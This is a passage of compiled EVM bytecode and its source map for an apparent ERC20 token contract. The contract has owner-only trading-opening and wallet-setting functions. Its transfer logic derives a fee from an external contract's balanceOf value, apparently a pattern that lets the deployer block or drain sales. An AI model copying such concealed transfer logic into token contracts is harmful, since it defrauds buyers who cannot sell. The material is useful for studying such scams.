ffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461146390919063ffffffff16565b610eda565b600190509392505050565b5f8060149054906101000a900460ff16905090565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ab906118a4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610722576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610719906118a4565b60405180910390fd5b80600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6060600980546107759061182a565b80601f01602080910402602001604051908101604052809291908181526020018280546107a19061182a565b80156107ec5780601f106107c3576101008083540402835291602001916107ec565b820191905f5260205f20905b8154815290600101906020018083116107cf57829003601f168201915b5050505050905090565b5f61080233848461109d565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610899576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610890906118a4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036108f2575f80fd5b61094730600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166109426064610934600a60015461148990919063ffffffff16565b6114c990919063ffffffff16565b61109d565b565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cd906118a4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610a2f575f80fd5b60065f9054906101000a900460ff1615610a7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a759061190c565b60405180910390fd5b610aac3060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610eda565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b16573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3a919061193e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bc0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610be4919061193e565b6040518363ffffffff1660e01b8152600401610c01929190611969565b6020604051808303815f875af1158015610c1d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c41919061193e565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610cc8306104e1565b5f80610cd261066e565b426040518863ffffffff1660e01b8152600401610cf4969594939291906119d2565b60606040518083038185885af1158015610d10573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d359190611a45565b50505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610dd5929190611a95565b6020604051808303815f875af1158015610df1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e159190611ae6565b50600160065f6101000a81548160ff021916908315150217905550565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3f90611b81565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fad90611c0f565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161109091906116cf565b60405180910390a3505050565b5f81116110a8575f80fd5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611101575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611138575f80fd5b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611170575f80fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156111f9575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561129a5760025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b815260040161125891906117a6565b602060405180830381865afa158015611273573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112979190611c2d565b90505b5f6112c160646112b3848661148990919063ffffffff16565b6114c990919063ffffffff16565b90506113138360055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461146390919063ffffffff16565b60055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506113b6816113a88560055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114ee90919063ffffffff16565b61146390919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161145491906116cf565b60405180910390a35050505050565b5f82821115611470575f80fd5b5f828461147d9190611c85565b90508091505092915050565b5f808303611499575f90506114c3565b5f82846114a69190611cb8565b90508284826114b59190611d26565b146114be575f80fd5b809150505b92915050565b5f8082116114d5575f80fd5b5f82846114e29190611d26565b90508091505092915050565b5f8082846114fc9190611d56565b90508381101561150a575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561154b578082015181840152602081019050611530565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61157082611514565b61157a818561151e565b935061158a81856020860161152e565b61159381611556565b840191505092915050565b5f6020820190508181035f8301526115b68184611566565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115eb826115c2565b9050919050565b6115fb816115e1565b8114611605575f80fd5b50565b5f81359050611616816115f2565b92915050565b5f819050919050565b61162e8161161c565b8114611638575f80fd5b50565b5f8135905061164981611625565b92915050565b5f8060408385031215611665576116646115be565b5b5f61167285828601611608565b92505060206116838582860161163b565b9150509250929050565b5f8115159050919050565b6116a18161168d565b82525050565b5f6020820190506116ba5f830184611698565b92915050565b6116c98161161c565b82525050565b5f6020820190506116e25f8301846116c0565b92915050565b5f805f606084860312156116ff576116fe6115be565b5b5f61170c86828701611608565b935050602061171d86828701611608565b925050604061172e8682870161163b565b9150509250925092565b5f60ff82169050919050565b61174d81611738565b82525050565b5f6020820190506117665f830184611744565b92915050565b5f60208284031215611781576117806115be565b5b5f61178e84828501611608565b91505092915050565b6117a0816115e1565b82525050565b5f6020820190506117b95f830184611797565b92915050565b5f80604083850312156117d5576117d46115be565b5b5f6117e285828601611608565b92505060206117f385828601611608565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061184157607f821691505b602082108103611854576118536117fd565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61188e60208361151e565b91506118998261185a565b602082019050919050565b5f6020820190508181035f8301526118bb81611882565b9050919050565b7f54726164696e6720616c7265616479206f70656e65642e0000000000000000005f82015250565b5f6118f660178361151e565b9150611901826118c2565b602082019050919050565b5f6020820190508181035f830152611923816118ea565b9050919050565b5f81519050611938816115f2565b92915050565b5f60208284031215611953576119526115be565b5b5f6119608482850161192a565b91505092915050565b5f60408201905061197c5f830185611797565b6119896020830184611797565b9392505050565b5f819050919050565b5f819050919050565b5f6119bc6119b76119b284611990565b611999565b61161c565b9050919050565b6119cc816119a2565b82525050565b5f60c0820190506119e55f830189611797565b6119f260208301886116c0565b6119ff60408301876119c3565b611a0c60608301866119c3565b611a196080830185611797565b611a2660a08301846116c0565b979650505050505050565b5f81519050611a3f81611625565b92915050565b5f805f60608486031215611a5c57611a5b6115be565b5b5f611a6986828701611a31565b9350506020611a7a86828701611a31565b9250506040611a8b86828701611a31565b9150509250925092565b5f604082019050611aa85f830185611797565b611ab560208301846116c0565b9392505050565b611ac58161168d565b8114611acf575f80fd5b50565b5f81519050611ae081611abc565b92915050565b5f60208284031215611afb57611afa6115be565b5b5f611b0884828501611ad2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611b6b60248361151e565b9150611b7682611b11565b604082019050919050565b5f6020820190508181035f830152611b9881611b5f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611bf960228361151e565b9150611c0482611b9f565b604082019050919050565b5f6020820190508181035f830152611c2681611bed565b9050919050565b5f60208284031215611c4257611c416115be565b5b5f611c4f84828501611a31565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611c8f8261161c565b9150611c9a8361161c565b9250828203905081811115611cb257611cb1611c58565b5b92915050565b5f611cc28261161c565b9150611ccd8361161c565b9250828202611cdb8161161c565b91508282048414831517611cf257611cf1611c58565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611d308261161c565b9150611d3b8361161c565b925082611d4b57611d4a611cf9565b5b828204905092915050565b5f611d608261161c565b9150611d6b8361161c565b9250828201905080821115611d8357611d82611c58565b5b9291505056fea2646970667358221220cf3cefef5f1b255c372fd9d26f808b53823ab82d24de5acb5e7c262eaf556c3964736f6c63430008180033

Deployed Bytecode Sourcemap

206:4033:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1195:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2614:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1303:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3838:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1627:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2496:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1532:148:1;;;;;;;;;;;;;:::i;:::-;;1759:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1514:105:3;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1402:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4080:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2307:177;;;;;;;;;;;;;:::i;:::-;;1718:581;;;:::i;:::-;;748:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3115:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1195:100;1249:13;1282:5;1275:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1195:100;:::o;2614:150::-;2680:4;2697:37;2706:10;2718:7;2727:6;2697:8;:37::i;:::-;2752:4;2745:11;;2614:150;;;;:::o;1303:91::-;1347:7;1374:12;;1367:19;;1303:91;:::o;3838:234::-;3918:4;3935:27;3945:4;3951:2;3955:6;3935:9;:27::i;:::-;3973:69;3982:4;3988:10;4000:41;4034:6;4000:11;:17;4012:4;4000:17;;;;;;;;;;;;;;;:29;4018:10;4000:29;;;;;;;;;;;;;;;;:33;;:41;;;;:::i;:::-;3973:8;:69::i;:::-;4060:4;4053:11;;3838:234;;;;;:::o;1627:83::-;1668:5;1693:9;;;;;;;;;;;1686:16;;1627:83;:::o;2496:110::-;2553:7;2580:9;:18;2590:7;2580:18;;;;;;;;;;;;;;;;2573:25;;2496:110;;;:::o;1532:148:1:-;1123:10;1113:20;;:6;;;;;;;;;;:20;;;1105:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;1639:1:::1;1602:40;;1623:6;::::0;::::1;;;;;;;;1602:40;;;;;;;;;;;;1670:1;1653:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1532:148::o:0;1759:79::-;1797:7;1824:6;;;;;;;;;;;1817:13;;1759:79;:::o;1514:105:3:-;1123:10:1;1113:20;;:6;;;;;;;;;;:20;;;1105:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;1602:9:3::1;1591:8;;:20;;;;;;;;;;;;;;;;;;1514:105:::0;:::o;1402:104::-;1458:13;1491:7;1484:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1402:104;:::o;4080:156::-;4149:4;4166:40;4176:10;4188:9;4199:6;4166:9;:40::i;:::-;4224:4;4217:11;;4080:156;;;;:::o;2307:177::-;1123:10:1;1113:20;;:6;;;;;;;;;;:20;;;1105:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;2397:1:3::1;2377:22;;:8;;;;;;;;;;;:22;;::::0;2368:32:::1;;;::::0;::::1;;2411:65;2429:4;2436:8;;;;;;;;;;;2446:29;2471:3;2446:20;2463:2;2446:12;;:16;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;2411:9;:65::i;:::-;2307:177::o:0;1718:581::-;1123:10:1;1113:20;;:6;;;;;;;;;;:20;;;1105:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;1809:1:3::1;1789:22;;:8;;;;;;;;;;;:22;;::::0;1781:31:::1;;;::::0;::::1;;1832:11;;;;;;;;;;;1831:12;1823:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;1882:61;1899:4;1914:13;;;;;;;;;;;1930:12;;1882:8;:61::i;:::-;1985:13;;;;;;;;;;;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1968:52;;;2029:4;2036:13;;;;;;;;;;;:18;;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1968:89;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1954:11;;:103;;;;;;;;;;;;;;;;;;2068:13;;;;;;;;;;;:29;;;2105:9;2124:4;2130:24;2148:4;2130:9;:24::i;:::-;2156:1;2158::::0;2160:7:::1;:5;:7::i;:::-;2168:15;2068:116;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;2202:11;;;;;;;;;;;2195:27;;;2231:13;;;;;;;;;;;2247:14;2195:67;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;2287:4;2273:11;;:18;;;;;;;;;;;;;;;;;;1718:581::o:0;748:23::-;;;;;;;;;;;;;:::o;3115:134::-;3187:7;3214:11;:18;3226:5;3214:18;;;;;;;;;;;;;;;:27;3233:7;3214:27;;;;;;;;;;;;;;;;3207:34;;3115:134;;;;:::o;2772:335::-;2882:1;2865:19;;:5;:19;;;2857:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2963:1;2944:21;;:7;:21;;;2936:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3045:6;3015:11;:18;3027:5;3015:18;;;;;;;;;;;;;;;:27;3034:7;3015:27;;;;;;;;;;;;;;;:36;;;;3083:7;3067:32;;3076:5;3067:32;;;3092:6;3067:32;;;;;;:::i;:::-;;;;;;;;2772:335;;;:::o;3257:573::-;3354:1;3345:6;:10;3337:19;;;;;;3383:8;;;;;;;;;;;3375:16;;:4;:16;;;3367:25;;;;;;3425:1;3411:16;;:2;:16;;;3403:25;;;;;;3439:11;3489:1;3473:18;;:4;:18;;;3465:27;;;;;;3523:4;3507:21;;:4;:21;;;;:44;;;;;3540:11;;;;;;;;;;;3532:19;;:4;:19;;;;3507:44;3503:110;;;3580:14;;;;;;;;;;;3573:32;;;3606:4;3573:38;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3567:44;;3503:110;3623:12;3638:24;3658:3;3638:15;3649:3;3638:6;:10;;:15;;;;:::i;:::-;:19;;:24;;;;:::i;:::-;3623:39;;3691:27;3711:6;3691:9;:15;3701:4;3691:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;3673:9;:15;3683:4;3673:15;;;;;;;;;;;;;;;:45;;;;3745:35;3775:4;3745:25;3763:6;3745:9;:13;3755:2;3745:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;:29;;:35;;;;:::i;:::-;3729:9;:13;3739:2;3729:13;;;;;;;;;;;;;;;:51;;;;3811:2;3796:26;;3805:4;3796:26;;;3815:6;3796:26;;;;;;:::i;:::-;;;;;;;;3326:504;;3257:573;;;:::o;282:148:2:-;340:7;373:1;368;:6;;360:15;;;;;;386:9;402:1;398;:5;;;;:::i;:::-;386:17;;421:1;414:8;;;282:148;;;;:::o;89:185::-;147:7;176:1;171;:6;167:23;;187:1;180:8;;;;167:23;200:9;216:1;212;:5;;;;:::i;:::-;200:17;;245:1;240;236;:5;;;;:::i;:::-;:10;228:19;;;;;;265:1;258:8;;;89:185;;;;;:::o;594:147::-;652:7;684:1;680;:5;672:14;;;;;;697:9;713:1;709;:5;;;;:::i;:::-;697:17;;732:1;725:8;;;594:147;;;;:::o;438:148::-;496:7;516:9;532:1;528;:5;;;;:::i;:::-;516:17;;557:1;552;:6;;544:15;;;;;;577:1;570:8;;;438:148;;;;:::o;7:99:6:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:182::-;6672:34;6668:1;6660:6;6656:14;6649:58;6532:182;:::o;6720:366::-;6862:3;6883:67;6947:2;6942:3;6883:67;:::i;:::-;6876:74;;6959:93;7048:3;6959:93;:::i;:::-;7077:2;7072:3;7068:12;7061:19;;6720:366;;;:::o;7092:419::-;7258:4;7296:2;7285:9;7281:18;7273:26;;7345:9;7339:4;7335:20;7331:1;7320:9;7316:17;7309:47;7373:131;7499:4;7373:131;:::i;:::-;7365:139;;7092:419;;;:::o;7517:173::-;7657:25;7653:1;7645:6;7641:14;7634:49;7517:173;:::o;7696:366::-;7838:3;7859:67;7923:2;7918:3;7859:67;:::i;:::-;7852:74;;7935:93;8024:3;7935:93;:::i;:::-;8053:2;8048:3;8044:12;8037:19;;7696:366;;;:::o;8068:419::-;8234:4;8272:2;8261:9;8257:18;8249:26;;8321:9;8315:4;8311:20;8307:1;8296:9;8292:17;8285:47;8349:131;8475:4;8349:131;:::i;:::-;8341:139;;8068:419;;;:::o;8493:143::-;8550:5;8581:6;8575:13;8566:22;;8597:33;8624:5;8597:33;:::i;:::-;8493:143;;;;:::o;8642:351::-;8712:6;8761:2;8749:9;8740:7;8736:23;8732:32;8729:119;;;8767:79;;:::i;:::-;8729:119;8887:1;8912:64;8968:7;8959:6;8948:9;8944:22;8912:64;:::i;:::-;8902:74;;8858:128;8642:351;;;;:::o;8999:332::-;9120:4;9158:2;9147:9;9143:18;9135:26;;9171:71;9239:1;9228:9;9224:17;9215:6;9171:71;:::i;:::-;9252:72;9320:2;9309:9;9305:18;9296:6;9252:72;:::i;:::-;8999:332;;;;;:::o;9337:85::-;9382:7;9411:5;9400:16;;9337:85;;;:::o;9428:60::-;9456:3;9477:5;9470:12;;9428:60;;;:::o;9494:158::-;9552:9;9585:61;9603:42;9612:32;9638:5;9612:32;:::i;:::-;9603:42;:::i;:::-;9585:61;:::i;:::-;9572:74;;9494:158;;;:::o;9658:147::-;9753:45;9792:5;9753:45;:::i;:::-;9748:3;9741:58;9658:147;;:::o;9811:807::-;10060:4;10098:3;10087:9;10083:19;10075:27;;10112:71;10180:1;10169:9;10165:17;10156:6;10112:71;:::i;:::-;10193:72;10261:2;10250:9;10246:18;10237:6;10193:72;:::i;:::-;10275:80;10351:2;10340:9;10336:18;10327:6;10275:80;:::i;:::-;10365;10441:2;10430:9;10426:18;10417:6;10365:80;:::i;:::-;10455:73;10523:3;10512:9;10508:19;10499:6;10455:73;:::i;:::-;10538;10606:3;10595:9;10591:19;10582:6;10538:73;:::i;:::-;9811:807;;;;;;;;;:::o;10624:143::-;10681:5;10712:6;10706:13;10697:22;;10728:33;10755:5;10728:33;:::i;:::-;10624:143;;;;:::o;10773:663::-;10861:6;10869;10877;10926:2;10914:9;10905:7;10901:23;10897:32;10894:119;;;10932:79;;:::i;:::-;10894:119;11052:1;11077:64;11133:7;11124:6;11113:9;11109:22;11077:64;:::i;:::-;11067:74;;11023:128;11190:2;11216:64;11272:7;11263:6;11252:9;11248:22;11216:64;:::i;:::-;11206:74;;11161:129;11329:2;11355:64;11411:7;11402:6;11391:9;11387:22;11355:64;:::i;:::-;11345:74;;11300:129;10773:663;;;;;:::o;11442:332::-;11563:4;11601:2;11590:9;11586:18;11578:26;;11614:71;11682:1;11671:9;11667:17;11658:6;11614:71;:::i;:::-;11695:72;11763:2;11752:9;11748:18;11739:6;11695:72;:::i;:::-;11442:332;;;;;:::o;11780:116::-;11850:21;11865:5;11850:21;:::i;:::-;11843:5;11840:32;11830:60;;11886:1;11883;11876:12;11830:60;11780:116;:::o;11902:137::-;11956:5;11987:6;11981:13;11972:22;;12003:30;12027:5;12003:30;:::i;:::-;11902:137;;;;:::o;12045:345::-;12112:6;12161:2;12149:9;12140:7;12136:23;12132:32